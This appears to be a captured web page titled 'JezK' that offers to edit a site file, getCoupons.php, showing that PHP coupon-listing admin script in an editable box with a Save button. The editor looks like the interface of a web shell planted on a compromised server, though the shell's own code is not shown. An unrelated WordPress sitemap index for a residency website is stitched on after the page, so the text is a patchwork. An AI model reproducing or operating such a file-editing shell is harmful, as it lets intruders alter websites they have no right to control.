
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: getCoupons.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php
include('adminObject.php');
include('checkSession.php');
$data = [];
$limit = &quot;&quot;;


if ($_POST['length'] != '-1') {
    $limit = &quot;LIMIT &quot; . $_POST['length'];
}

$delete_status = 0;
// Query for no.of rows 
$totalRows = $admin-&gt;conn-&gt;prepare('SELECT `coupon_id`,`amount`,`name`,`usercount`,`usedusers`,`min_bill` FROM coupons WHERE delete_status =:delete_status and cpn_type = 1');
$totalRows-&gt;bindParam(':delete_status', $delete_status, PDO::PARAM_INT);
$totalRows-&gt;execute();
$totalRowsResult = $totalRows-&gt;rowcount();


// Query to show data
$query = $admin-&gt;conn-&gt;prepare('SELECT `coupon_id`,`amount`,`name`,`usercount`,`usedusers`,`min_bill` FROM coupons WHERE delete_status =:delete_status and cpn_type = 1 ORDER BY `coupon_id` DESC  LIMIT :limit OFFSET :offset');
$query-&gt;bindParam(':delete_status', $delete_status, PDO::PARAM_INT);
$query-&gt;bindValue(':limit', $_POST['length'], PDO::PARAM_INT);
$query-&gt;bindValue(':offset', $_POST['start'], PDO::PARAM_INT);
$query-&gt;execute();
$queryData = $query-&gt;fetchAll(PDO::FETCH_ASSOC);
$filterCount = $query-&gt;rowcount();


$j = 1;

foreach ($queryData as $row) {

    $dataTableRow = array();
    $dataTableRow[]  = $_POST['start'] + $j;


    $dataTableRow[] = $row['name'];
    $dataTableRow[] = $row['amount'];
    $dataTableRow[] = $row['usercount'];
    $dataTableRow[] = $row['usedusers'];
    $dataTableRow[] = $row['min_bill'];

    if (isset($_SESSION['admin'])) {

        $dataTableRow[] =
            '&lt;button class=&quot;no-btn de-primary-color me-1&quot; data-bs-toggle=&quot;modal&quot; data-bs-target=&quot;#couponDetailsModal&quot; onclick=&quot;getcouponDetailsId(' . $row['coupon_id'] . ')&quot;&gt;&lt;i class=&quot;fas fa-eye&quot;&gt;&lt;/i&gt; &lt;span class=&quot;icon-text&quot;&gt;&lt;/span&gt;
        &lt;/button&gt;' .
            '&lt;button class=&quot;de-delete&quot; data-bs-toggle=&quot;modal&quot; data-bs-target=&quot;#deleteModal&quot; 
        onclick=&quot;getcouponId(' . $row['coupon_id'] . ')&quot;&gt;&lt;i class=&quot;fas fa-trash-alt&quot;&gt;&lt;/i&gt; &lt;span class=&quot;icon-text&quot;&gt;&lt;/span&gt;
        &lt;/button&gt;';
    }



    $data[] = $dataTableRow;
    $j++;
}



$datatableResult = [
    &quot;draw&quot; =&gt; $_POST['draw'],
    &quot;recordsTotal&quot; =&gt; $totalRowsResult,
    &quot;recordsFiltered&quot; =&gt; $totalRowsResult,
    &quot;data&quot; =&gt; $data
];
echo json_encode($datatableResult);
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://satyadevaresidency.com/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-posts-gallery-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-posts-testimonial-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-taxonomies-post_tag-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-taxonomies-gallery_cat-1.xml</loc></sitemap></sitemapindex>
